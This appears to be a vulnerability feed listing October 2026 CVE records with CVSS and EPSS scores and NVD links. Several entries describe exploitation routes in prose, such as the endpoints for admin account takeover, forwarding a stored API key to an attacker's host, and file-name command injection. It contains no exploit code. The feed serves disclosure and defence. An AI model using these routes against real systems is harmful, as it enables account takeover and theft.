### HPE NonStop Middleware software has secret key handling and data deserialization vulnerability.
https://kevwire.com/record/CVE-2026-73793
HPE NonStop Middleware software has secret key handling and data deserialization vulnerability. (Oct 14, 2026).
HPE NonStop Middleware software has secret key handling and data deserialization vulnerability.
CVSS 7.9 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-73793).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73793&date=2026-10-25).
Sources:
NVD CVE-2026-73793: https://nvd.nist.gov/vuln/detail/CVE-2026-73793
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73793&date=2026-10-25
HPE NonStop Middleware software has secret key handling and data deserialization vulnerability.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Rapyd Admin from 9.0.0 before 9.20.0 contains an authorization bypass vulnerability that allows authenticated company members with the default customer role to modify or delete...
https://kevwire.com/record/CVE-2026-110238
Rapyd Admin from 9.0.0 before 9.20.0 contains an authorization bypass vulnerability that allows authenticated company members with the default customer role to modify or delete... (Oct 13, 2026).
Rapyd Admin from 9.0.0 before 9.20.0 contains an authorization bypass vulnerability that allows authenticated company members with the default customer role to modify or delete arbitrary user accounts through the UsersModalEditEmbed Livewire component. Attackers can dispatch editUser or deleteUser with predictable sequential user ids to reset owner or super admin passwords, promote themselves to owner, and delete users.
CVSS 8.7 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110238).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110238&date=2026-10-25).
Sources:
NVD CVE-2026-110238: https://nvd.nist.gov/vuln/detail/CVE-2026-110238
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110238&date=2026-10-25
Rapyd Admin from 9.0.0 before 9.20.0 contains an authorization bypass vulnerability that allows authenticated company members with the default customer role to modify or delete arbitrary user accounts through the UsersModalEditEmbed Livewire component. Attackers can dispatch editUser or deleteUser with predictable sequential user ids to reset owner or super admin passwords, promote themselves to owner, and delete users.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Rovr through 0.10.3 on Windows contains an OS command injection vulnerability that allows attackers to execute commands by crafting malicious file names.
https://kevwire.com/record/CVE-2026-110233
Rovr through 0.10.3 on Windows contains an OS command injection vulnerability that allows attackers to execute commands by crafting malicious file names. (Oct 13, 2026).
Rovr through 0.10.3 on Windows contains an OS command injection vulnerability that allows attackers to execute commands by crafting malicious file names. Attackers can deliver a file named with shell metacharacters like & alongside a payload, which runs with user privileges when the file is opened through open_file.
CVSS 8.4 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110233).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110233&date=2026-10-25).
Sources:
NVD CVE-2026-110233: https://nvd.nist.gov/vuln/detail/CVE-2026-110233
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110233&date=2026-10-25
Rovr through 0.10.3 on Windows contains an OS command injection vulnerability that allows attackers to execute commands by crafting malicious file names. Attackers can deliver a file named with shell metacharacters like & alongside a payload, which runs with user privileges when the file is opened through open_file.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Lenve vhr through commit 03abbd3 contains an information disclosure vulnerability that allows any authenticated user to retrieve other operators' BCrypt password hashes via GET...
https://kevwire.com/record/CVE-2026-110217
Lenve vhr through commit 03abbd3 contains an information disclosure vulnerability that allows any authenticated user to retrieve other operators' BCrypt password hashes via GET... (Oct 13, 2026).
Lenve vhr through commit 03abbd3 contains an information disclosure vulnerability that allows any authenticated user to retrieve other operators' BCrypt password hashes via GET /chat/hrs. Low-privileged operators can collect administrator password hashes, phone numbers, and addresses from the serialized Hr entity for offline cracking and privilege escalation.
CVSS 7.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110217).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110217&date=2026-10-25).
Sources:
NVD CVE-2026-110217: https://nvd.nist.gov/vuln/detail/CVE-2026-110217
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110217&date=2026-10-25
Lenve vhr through commit 03abbd3 contains an information disclosure vulnerability that allows any authenticated user to retrieve other operators' BCrypt password hashes via GET /chat/hrs. Low-privileged operators can collect administrator password hashes, phone numbers, and addresses from the serialized Hr entity for offline cracking and privilege escalation.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wukong AICRM through 20260610 contains a missing authorization vulnerability that allows any authenticated user to call user, role, department and agent administration APIs...
https://kevwire.com/record/CVE-2026-110207
Wukong AICRM through 20260610 contains a missing authorization vulnerability that allows any authenticated user to call user, role, department and agent administration APIs... (Oct 13, 2026).
Wukong AICRM through 20260610 contains a missing authorization vulnerability that allows any authenticated user to call user, role, department and agent administration APIs because no administrator check exists. Attackers can send POST requests to /managerUser/updateUser to reset the admin account's password and assign themselves the "all" role, achieving full administrator account takeover.
CVSS 8.7 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110207).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110207&date=2026-10-25).
Sources:
NVD CVE-2026-110207: https://nvd.nist.gov/vuln/detail/CVE-2026-110207
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110207&date=2026-10-25
Wukong AICRM through 20260610 contains a missing authorization vulnerability that allows any authenticated user to call user, role, department and agent administration APIs because no administrator check exists. Attackers can send POST requests to /managerUser/updateUser to reset the admin account's password and assign themselves the "all" role, achieving full administrator account takeover.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dockhand before 1.0.45 contains an authentication bypass in which the global auth hook skips authentication for any path ending in a static-asset extension such as .js, including...
https://kevwire.com/record/CVE-2026-110130
Dockhand before 1.0.45 contains an authentication bypass in which the global auth hook skips authentication for any path ending in a static-asset extension such as .js, including... (Oct 13, 2026).
Dockhand before 1.0.45 contains an authentication bypass in which the global auth hook skips authentication for any path ending in a static-asset extension such as .js, including /api/* routes, and the user-mutation handlers fail open for unauthenticated callers. Unauthenticated remote attackers can send a PUT request to /api/users/<id>.js to reset the admin's or any user's password and take over the account.
CVSS 10.0 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110130).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110130&date=2026-10-25).
Sources:
NVD CVE-2026-110130: https://nvd.nist.gov/vuln/detail/CVE-2026-110130
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110130&date=2026-10-25
Dockhand before 1.0.45 contains an authentication bypass in which the global auth hook skips authentication for any path ending in a static-asset extension such as .js, including /api/* routes, and the user-mutation handlers fail open for unauthenticated callers. Unauthenticated remote attackers can send a PUT request to /api/users/<id>.js to reset the admin's or any user's password and take over the account.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Experience Manager is affected by an XML Injection (aka Blind XPath Injection) vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-110084
Adobe Experience Manager is affected by an XML Injection (aka Blind XPath Injection) vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
Adobe Experience Manager is affected by an XML Injection (aka Blind XPath Injection) vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and limited write access. Exploitation of this issue does not require user interaction.
CVSS 7.1 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110084).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110084&date=2026-10-25).
Sources:
NVD CVE-2026-110084: https://nvd.nist.gov/vuln/detail/CVE-2026-110084
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110084&date=2026-10-25
Adobe Experience Manager is affected by an XML Injection (aka Blind XPath Injection) vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and limited write access. Exploitation of this issue does not require user interaction.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM WebSphere Application Server 8.5, and 9.0 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 Liberty could allow a remote attacker to cause a denial of...
https://kevwire.com/record/CVE-2026-105442
IBM WebSphere Application Server 8.5, and 9.0 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 Liberty could allow a remote attacker to cause a denial of... (Oct 13, 2026).
IBM WebSphere Application Server 8.5, and 9.0 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 Liberty could allow a remote attacker to cause a denial of service caused by an insecure deserialization in the messaging service.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105442).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105442&date=2026-10-25).
Sources:
NVD CVE-2026-105442: https://nvd.nist.gov/vuln/detail/CVE-2026-105442
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105442&date=2026-10-25
IBM WebSphere Application Server 8.5, and 9.0 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 Liberty could allow a remote attacker to cause a denial of service caused by an insecure deserialization in the messaging service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-97009
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97009).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97009&date=2026-10-25).
Sources:
NVD CVE-2026-97009: https://nvd.nist.gov/vuln/detail/CVE-2026-97009
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97009
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97009&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-92910
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and limited write access. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 7.2 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92910).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92910&date=2026-10-25).
Sources:
NVD CVE-2026-92910: https://nvd.nist.gov/vuln/detail/CVE-2026-92910
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92910&date=2026-10-25
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and limited write access. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wukong AICRM through 20260610 contains a missing authorization vulnerability in the /systemConfig controller that allows any authenticated user to read the stored AI provider API...
https://kevwire.com/record/CVE-2026-110208
Wukong AICRM through 20260610 contains a missing authorization vulnerability in the /systemConfig controller that allows any authenticated user to read the stored AI provider API... (Oct 13, 2026).
Wukong AICRM through 20260610 contains a missing authorization vulnerability in the /systemConfig controller that allows any authenticated user to read the stored AI provider API key. Attackers can request GET /systemConfig/byType/ai for the cleartext key, or send a chosen apiUrl to /systemConfig/ai/test, forwarding the stored key to their host.
CVSS 7.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110208).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110208&date=2026-10-25).
Sources:
NVD CVE-2026-110208: https://nvd.nist.gov/vuln/detail/CVE-2026-110208
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110208&date=2026-10-25
Wukong AICRM through 20260610 contains a missing authorization vulnerability in the /systemConfig controller that allows any authenticated user to read the stored AI provider API key. Attackers can request GET /systemConfig/byType/ai for the cleartext key, or send a chosen apiUrl to /systemConfig/ai/test, forwarding the stored key to their host.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Powerlevel10k through 1.20.0 contains an insecure download vulnerability in the gitstatus/install script that disables TLS certificate verification with curl -k and skips...
https://kevwire.com/record/CVE-2026-110102
Powerlevel10k through 1.20.0 contains an insecure download vulnerability in the gitstatus/install script that disables TLS certificate verification with curl -k and skips... (Oct 13, 2026).
Powerlevel10k through 1.20.0 contains an insecure download vulnerability in the gitstatus/install script that disables TLS certificate verification with curl -k and skips integrity checks when no SHA-256 utility exists. Network-positioned attackers can intercept the github.com mirror request and substitute a malicious archive, which runs as the gitstatusd daemon under the user's account on every prompt.
CVSS 7.7 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110102).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110102&date=2026-10-25).
Sources:
NVD CVE-2026-110102: https://nvd.nist.gov/vuln/detail/CVE-2026-110102
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110102&date=2026-10-25
Powerlevel10k through 1.20.0 contains an insecure download vulnerability in the gitstatus/install script that disables TLS certificate verification with curl -k and skips integrity checks when no SHA-256 utility exists. Network-positioned attackers can intercept the github.com mirror request and substitute a malicious archive, which runs as the gitstatusd daemon under the user's account on every prompt.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Codepeople CP Multi View Event Calendar  cp-multi-view-calendar allows SQL...
https://kevwire.com/record/CVE-2026-109901
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Codepeople CP Multi View Event Calendar  cp-multi-view-calendar allows SQL... (Oct 14, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Codepeople CP Multi View Event Calendar  cp-multi-view-calendar allows SQL Injection.This issue affects CP Multi View Event Calendar : from n/a through 1.4.41.
CVSS 8.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109901).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109901&date=2026-10-25).
Sources:
NVD CVE-2026-109901: https://nvd.nist.gov/vuln/detail/CVE-2026-109901
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109901&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Codepeople CP Multi View Event Calendar  cp-multi-view-calendar allows SQL Injection.This issue affects CP Multi View Event Calendar : from n/a through 1.4.41.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Privilege escalation in the Panning and Zooming component.
https://kevwire.com/record/CVE-2026-109743
Privilege escalation in the Panning and Zooming component. (Oct 13, 2026).
Privilege escalation in the Panning and Zooming component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109743).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109743&date=2026-10-25).
Sources:
NVD CVE-2026-109743: https://nvd.nist.gov/vuln/detail/CVE-2026-109743
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109743&date=2026-10-25
Privilege escalation in the Panning and Zooming component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Privilege escalation in the WebExtensions component.
https://kevwire.com/record/CVE-2026-109739
Privilege escalation in the WebExtensions component. (Oct 13, 2026).
Privilege escalation in the WebExtensions component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109739).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109739&date=2026-10-25).
Sources:
NVD CVE-2026-109739: https://nvd.nist.gov/vuln/detail/CVE-2026-109739
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109739&date=2026-10-25
Privilege escalation in the WebExtensions component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Privilege escalation in the Application Update component.
https://kevwire.com/record/CVE-2026-109704
Privilege escalation in the Application Update component. (Oct 13, 2026).
Privilege escalation in the Application Update component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109704).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109704&date=2026-10-25).
Sources:
NVD CVE-2026-109704: https://nvd.nist.gov/vuln/detail/CVE-2026-109704
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109704&date=2026-10-25
Privilege escalation in the Application Update component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in SourceCodester Online Reviewer System 1.0. Affected by this vulnerability is the function PDO::prepare of the file login/index.php.
https://kevwire.com/record/CVE-2026-109620
A vulnerability has been found in SourceCodester Online Reviewer System 1.0. Affected by this vulnerability is the function PDO::prepare of the file login/index.php. (Oct 13, 2026).
A vulnerability has been found in SourceCodester Online Reviewer System 1.0. Affected by this vulnerability is the function PDO::prepare of the file login/index.php. Such manipulation of the argument username/password leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.
CVSS 5.5 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109620).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109620&date=2026-10-25).
Sources:
NVD CVE-2026-109620: https://nvd.nist.gov/vuln/detail/CVE-2026-109620
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109620&date=2026-10-25
A vulnerability has been found in SourceCodester Online Reviewer System 1.0. Affected by this vulnerability is the function PDO::prepare of the file login/index.php. Such manipulation of the argument username/password leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in SourceCodester Simple Cafe Billing System 1.0. This affects the function Action::save_user of the file admin_class.php of the...
https://kevwire.com/record/CVE-2026-109605
A security vulnerability has been detected in SourceCodester Simple Cafe Billing System 1.0. This affects the function Action::save_user of the file admin_class.php of the... (Oct 13, 2026).
A security vulnerability has been detected in SourceCodester Simple Cafe Billing System 1.0. This affects the function Action::save_user of the file admin_class.php of the component User Management. The manipulation of the argument Type leads to improper authorization. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used.
CVSS 5.5 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109605).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109605&date=2026-10-25).
Sources:
NVD CVE-2026-109605: https://nvd.nist.gov/vuln/detail/CVE-2026-109605
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109605&date=2026-10-25
A security vulnerability has been detected in SourceCodester Simple Cafe Billing System 1.0. This affects the function Action::save_user of the file admin_class.php of the component User Management. The manipulation of the argument Type leads to improper authorization. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The ShopMagic – email automation for WordPress plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.9.0 via the...
https://kevwire.com/record/CVE-2026-103367
The ShopMagic – email automation for WordPress plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.9.0 via the... (Oct 14, 2026).
The ShopMagic – email automation for WordPress plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.9.0 via the 'billing_address.first_name' parameter parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included. Exploitation requires a published recipe that processes the {{ customer.first_name }} placeholder — the plugin's built-in "New Order email with social media profile links" recipe satisfies this requirement out of the box, making the default configuration exploitable with no account, cookie, or nonce by simply submitting a guest checkout with the payload as the billing first name.
CVSS 8.1 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103367).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103367&date=2026-10-25).
Sources:
NVD CVE-2026-103367: https://nvd.nist.gov/vuln/detail/CVE-2026-103367
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103367&date=2026-10-25
The ShopMagic – email automation for WordPress plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.9.0 via the 'billing_address.first_name' parameter parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included. Exploitation requires a published recipe that processes the {{ customer.first_name }} placeholder — the plugin's built-in "New Order email with social media profile links" recipe satisfies this requirement out of the box, making the default configuration exploitable with no account, cookie, or nonce by simply submitting a guest checkout with the payload as the billing first name.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Walletdoc Payment Gateway for WooCommerce WordPress plugin before 1.8.5 does not properly sanitize and escape user input before using it in a SQL statement, and verifies its...
https://kevwire.com/record/CVE-2026-103307
The Walletdoc Payment Gateway for WooCommerce WordPress plugin before 1.8.5 does not properly sanitize and escape user input before using it in a SQL statement, and verifies its... (Oct 14, 2026).
The Walletdoc Payment Gateway for WooCommerce WordPress plugin before 1.8.5 does not properly sanitize and escape user input before using it in a SQL statement, and verifies its payment webhook with a signing secret that is empty by default, allowing unauthenticated attackers to perform SQL injection attacks and to mark arbitrary orders as paid.
